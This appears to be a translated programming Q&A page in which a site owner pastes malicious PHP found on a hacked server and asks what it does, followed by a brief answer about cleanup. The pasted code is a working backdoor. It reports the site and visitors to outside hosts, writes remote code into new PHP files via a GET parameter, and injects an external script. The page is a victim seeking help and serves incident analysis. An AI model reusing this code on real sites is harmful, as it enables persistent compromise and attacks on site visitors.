php - 我的服务器被黑了。有人上传了一些脚本,我不知道这些脚本对我的服务器做了什么
问题描述
有人在我们的服务器上上传了这个脚本
https://github.com/mIcHyAmRaNe/wso-webshell
我们在服务器上的不同目录中找到了 inc.php 文件。inc 文件中包含此代码
<?php
error_reporting(0);
$s='http://a1b2cd.club/';
$host = str_replace('www.', '', @$_SERVER['HTTP_HOST']);
$x = $s.'l-'.base64_encode($host);
if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
@$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
@$gitt = file_get_contents($x);
}
echo $gitt;
if(isset($_GET['ksfg'])){
$f=fopen($_GET['ksfg'].'.php','a');
fwrite($f,file_get_contents($s.'s-'.$_GET['ksfg']));
fclose($f);
}
echo '<!DOCTYPE html!>';
?><?php
function GetIP(){
if(getenv("HTTP_CLIENT_IP")) {
$ip = getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
if (strstr($ip, ',')) {
$tmp = explode (',', $ip);
$ip = trim($tmp[0]);
}
} else {
$ip = getenv("REMOTE_ADDR");
}
return $ip;
}
$x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
@$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
@$gitt = file_get_contents($x);
}
?>
</marquee><script src=http://expoilt.com/ccb.js></script>
不知道这个脚本对我们的服务器做了什么。由于我们的服务器是托管的,所以我们应该创建新实例吗?还是我们应该暂停 whm 的 cpanel 帐户并创建一个新帐户并复制那里的每个文件?请帮助我理解这代码实际上可以做什么
解决方案
如果您被黑客入侵,请先尝试更改所有密码并重新检查您自己添加的代码(原始版本,直到第 3 方进入您的网站......也许让网站离线直到检查......)。那里可能存在缺陷,它允许第 3 方在您的网站上上传任何想要的内容!(这必须修复)
关于添加的代码,基本上它列出了您的网站竞争和 ip-s(以及一些重定向! - 对普通用户来说非常危险)。但是第 3 方要做什么,完全不知道!(当从外部管理员权限获取时,您可以说它现在充当 your_site 所有者)。
推荐阅读
- mongodb - Mongodb 仅在键匹配某个值的对象上对文档内的对象数组进行排序
- angular - 带有模拟可观察对象的角度单元测试不返回值
- reactjs - 如何在 react-native 应用程序中检查会话过期?
- php - php自定义排序函数
- python - 如何以图形的形式绘制复杂方程?
- c - 高性能位删除(XOR 与减法)
- addeventlistener - 为什么要执行这些功能?
- r - 如何从两列中找到最大值和最小值
- visual-studio-2019 - Visual Studio 2019 上的 Jupiter 笔记本
- sql - 是否可以在 hive sql 中使用 IF 语句来确定要使用哪个 JOIN 语句?